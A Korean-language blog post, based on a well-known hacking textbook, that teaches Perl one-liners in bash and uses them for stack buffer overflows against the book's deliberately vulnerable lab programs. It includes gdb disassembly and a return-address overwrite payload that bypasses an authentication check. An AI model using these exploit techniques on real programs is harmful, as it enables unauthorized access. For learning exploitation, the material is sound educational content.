BASH 셸로 해킹하기 #2

Updated:

이 포스팅은 책 “해킹 공격의 예술 개정 2판”기반으로 기록한 페이지 입니다.

해킹의 기본은 공격하고 실험하는 데 있습니다.

그래서 이것저것 다른 것들로 시도해보는 것이 가장 중요합니다.

우선 앞에 버퍼 오버플로우 공격을 다루어 보았는데

이를 bash 셸과 펄(Perl)을 이용해서 시도해 볼 수 있습니다.

[Shell, 셸]

은 운영 체제(OS) 상에서 다양한 기능과 서비스를 구현하는 인터페이스를 제공하는 프로그램입니다.

셸은 ‘껍데기’라는 의미인데, 사용자와 커널(운영 체제의 내부) 사이의 인터페이스를

감싸는 층이여서 셸(껍데기)이라는 이름이 붙은 것입니다.

일반적으로 명령 줄과 그래픽 형태로 분류되는데

명령 줄 셸, 명령 줄 인터페이스 (CLI)은 리눅스의 터미널, 윈도우 프롬프트이고,

그래픽 셸, 그래픽 사용자 인터페이스 (GUI)는 오늘날 평상시에 컴퓨터를 사용하는 방법인

마우스로 아이콘을 더블클릭해 사용하는 것입니다.


[Perl, 펄]

은 래리 월이 만든 인터프리터 방식(대화식: Q&A)의 프로그래밍 언어 혹은 인터프리터 소프트웨어를 말하는 것 입니다.

펄을 소개하는 이유는 print 명령을 이용해 긴 문자열을 만드는데 특화된 인터프리터 방식의 언어라서 입니다.

펄은 다음과 같이 -e 스위치를 사용해 커맨드라인(Shell)에서 명령을 실행하는 데 사용이 됩니다.

reader@hacking:~/booksrc $ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA


이 명령은 펄에게 따옴표(‘ ‘) 사이의 명령을 실행하라는 명령입니다.

이 경우 print “A” x 20; 인데, 문자 A를 20번 print (출력) 하라는 의미입니다.

출력할 수 없는 문자를 포함해 어떤 문자도 \x## 형식으로 출력할 수 있는데,

##에 들어가는 값은 16진수(0~F) 값입니다.

다음 예제에서 문자 A를 16진수 0x41로 출력하는 데 이 표기법이 사용됩니다.

reader@hacking:~/booksrc $ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA


또한 펄에서는 점(.)을 사용해 문자열을 연결할 수 있습니다.

이는 여러 개의 주소를 하나의 문자열로 만들 때 유용합니다.

reader@hacking:~/booksrc $ perl -e 'print "A" x 20 . "BCD" . "\x61\x66\x67\x69 x 2 . "Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ


셸 명령 전체가 출력 값을 리턴하는 함수처럼 실행될 수 있습니다.

명령을 괄호로 감싸고 맨 앞에 달러 기호($)를 붙이면 됩니다.

reader@hacking:~/booksrc $ $(perl -e 'print "uname";')
Linux
reader@hacking:~/booksrc $ un$(perl -e 'print "am";')e
Linux
reader@hacking:~/booksrc $

또는 $( ) 대신 백틱(`)을 이용해 같은 효과를 낼 수 있습니다.

reader@hacking:~/booksrc $ un`perl -e 'print "am";'`e
Linux
reader@hacking:~/booksrc $ 

[Perl 이용한 버퍼 오버플로우]

버퍼 오버플로우 파트에 있던 overflow_example.c 를 perl을 이용해 버퍼 오버플로우를 발생 시켜보겠습니다.

reader@hacking:~/booksrc $ ./overflow_example.out $(perl -e 'print "A" x30')
[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'two'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'one'
[BEFORE] value| 주소: 0xbffff7f4, 데이터: 5 (0x00000005)

[STRCPY] 30바이트를 버퍼2에 복사

[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'AAAAAAAAAAAAAAAAAAAAAA'
[BEFORE] value| 주소: 0xbffff7f4, 데이터: 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $ gdb -q 
(gdb) print 0xbffff7f4 - 0xbffff7e0
$1 = 20

(gdb) quit
reader@hacking:~/booksrc $ ./overflow_example.out $(perl -e 'print "A" x20 . "ABCD"')
[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'two'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'one'
[BEFORE] value| 주소: 0xbffff7f4, 데이터: 5 (0x00000005)

[STRCPY] 24바이트를 버퍼2에 복사

[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'AAAAAAAAAAAAAAAAAAAAABCD'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'AAAAAAAAAAAAABCD'
[BEFORE] value| 주소: 0xbffff7f4, 데이터: 1145258561 (0x44434241)
reader@hacking:~/booksrc $


위 결과에서 20바이트인 버퍼2(0xbffff7e0)와 값(0xbffff7f4)의 차이를 16진수로 계산하기 위해 GDB를 사용했습니다.

계산된 거리를 이용해 값을 특정 값 0x44434241로 덮어썼고,

A, B, C, D의 16진수 값이 각기 0x41, 0x42, 0x43, 0x44이기 때문에 0x44434241은 ABCD라는 의미입니다.

리틀 엔디언 아키텍처라 0x41424344가 아닌 역순으로 0x44434241로 나오는 것이고,

만약 변수를 특정 값으로 제어 하려면 메모리에 역순으로 써야 함을 의미합니다.

reader@hacking:~/booksrc $ ./overflow_example.out $(perl -e 'print "A"x20 . "\xef\xbe\xad\xde"')
[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'two'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'one'
[BEFORE] value| 주소: 0xbffff7f4, 데이터: 5 (0x00000005)

[STRCPY] 24바이트를 버퍼2에 복사

[BEFORE] 버퍼2| 주소: 0xbffff7e0, 데이터: 'AAAAAAAAAAAAAAAAAAAA??'
[BEFORE] 버퍼1| 주소: 0xbffff7e8, 데이터: 'AAAAAAAAAAAA??'
[BEFORE] value| 주소: 0xbffff7f4, 데이터:  -559038737 (0xdeadbeef)
reader@hacking:~/booksrc $


위를 perl 명령을 보면 print “A”x 20. “\xef\xbe\xad\xde”를 했는데

리틀 엔디안 아키텍쳐라 인풋 “\xef\xbe\xad\xde”가 프로그램에선 “0xdeadbeef” 라고 나오는 것을 볼 수 있습니다.


이러한 기법으로 auth_overflow2.c 프로그램의 리턴 주소를 특정 값으로 덮어 쓸 수 있습니다.

다음 예제에선 main() 리턴 주소를 다른 주소로 덮어쓰는 것을 보겠습니다.

reader@hacking:~/booksrc $ gcc -o auth_overflow2.out auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./auth_overflow2.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048474 <main+0>:	push	ebp
0x08048475 <main+1>:	mov	ebp,esp
0x08048477 <main+3>:	sub	esp,0x8
0x0804847a <main+6>:	and	esp,0xfffffff0
0x0804847d <main+9>:	mov	eax,0x0
0x08048482 <main+14>:	sub	esp,eax
0x08048484 <main+16>:	cmp	DWORD PTR [ebp+8],0x1
0x08048488 <main+20>:	jg	0x80484ab <main+55>
0x0804848a <main+22>:	mov	eax,DWORD PTR [ebp+12]
0x0804848d <main+25>:	mov	eax,DWORD PTR [eax]
0x0804848f <main+27>:	mov	DWORD PTR [esp+4],eax
0x08048493 <main+31>:	mov	DWORD PTR [esp],0x80485e5
0x0804849a <main+38>:	call	0x804831c <printf@plt>
0x0804849f <main+43>:	mov	DWORD PTR [esp],0x0
0x080484a6 <main+50>:	call	0x804833c <exit@plt>
0x080484ab <main+55>:	mov	eax,DWORD PTR [ebp+12]
0x080484ae <main+58>:	add	eax,0x4
0x080484b1 <main+61>:	mov	eax,DWORD PTR [eax]
0x080484b3 <main+63>:	mov	DWORD PTR [esp],eax
0x080484b6 <main+66>:	call	0x8048414 <check_authentication>
0x080484bb <main+71>:	test	eax,eax
0x080484bd <main+73>:	je	0x80484e5 <main+113>
0x080484bf <main+75>:	mov	DWORD PTR [esp],0x80485fb
0x080484c6 <main+82>:	call	0x804831c <printf@plt>
0x080484cb <main+87>:	mov	DWORD PTR [esp],0x8048619
0x080484d2 <main+94>:	call	0x804831c <printf@plt>
0x080484d7 <main+99>:	mov	DWORD PTR [esp],0x8048630
0x080484de <main+106>:	call	0x804831c <printf@plt>
0x080484e3 <main+111>:	jmp	0x80484f1 <main+125>
0x080484e5 <main+113>:	mov	DWORD PTR [esp],0x804864d
0x080484ec <main+120>:	call	0x804831c <printf@plt>
0x080484f1 <main+125>:	leave
0x080484f2 <main+126>:	ret
End of assembler dump.
(gdb)


주소 0x080484bf ~ 0x080484de ( <main+75> ~ <main+106> ) 부분은 접속 허용이라는 메시지를 출력하는 부분입니다.

그래서 리턴 주소를 이 값으로 덮어쓴다면 그 부분의 명령이 실행될 것입니다.

리턴 주소와 password_buffer의 시작점과의 정확한 거리는 컴파일러의 버전과 최적화 상황에 따라 바뀔 수 있습니다.

주소 하나의 크기가 DWORD라면 단순히 리턴 주소를 여러 번 반복해 공격할 수 있습니다.

컴파일러 최적화로 인해 주소가 쉬프트되더라도 반복해 쓴 주소 중 하나는 리턴 주소를 덮어쓸 것입니다.

reader@hacking:~/booksrc $ ./auth_overflow2.out $(perl -e 'print "\xbf\x84\x04\x08"x10')
=-=-=-=-=-=-=-=-=-=
     접근 허용
=-=-=-=-=-=-=-=-=-=
Segmentation fault (core dumped)
reader@hacking:~/booksrc $


위 예제에서는 0x080484bf 주소를 10번 반복해 리턴 주소가 덮어써지게 한 것입니다.

check_authentication() 함수가 리턴될 때 실행은 원래 호출 후의 다음 명령으로 돌아가는 것이 아니라 새로 집어넣은 주소로 점프합니다.

이런 해킹 기법으로 많은 제어권을 얻을 수 있지만,

이런 방법으로는 제어권을 얻는다 해도 원래 프로그램에 존재하는 명령만 사용할 수 있습니다.


마치며

​ 셸에서 펄을 이용해 매크로(?) 같은 기능으로 버퍼 오버플로우를 좀 더 쉽게 이용할 수 있다는 것을 알게되었습니다.

​ 어셈블리어를 해석할 줄 모르지만, 책의 내용을 따라가면서 조금은 알게 되었습니다.

Leave a comment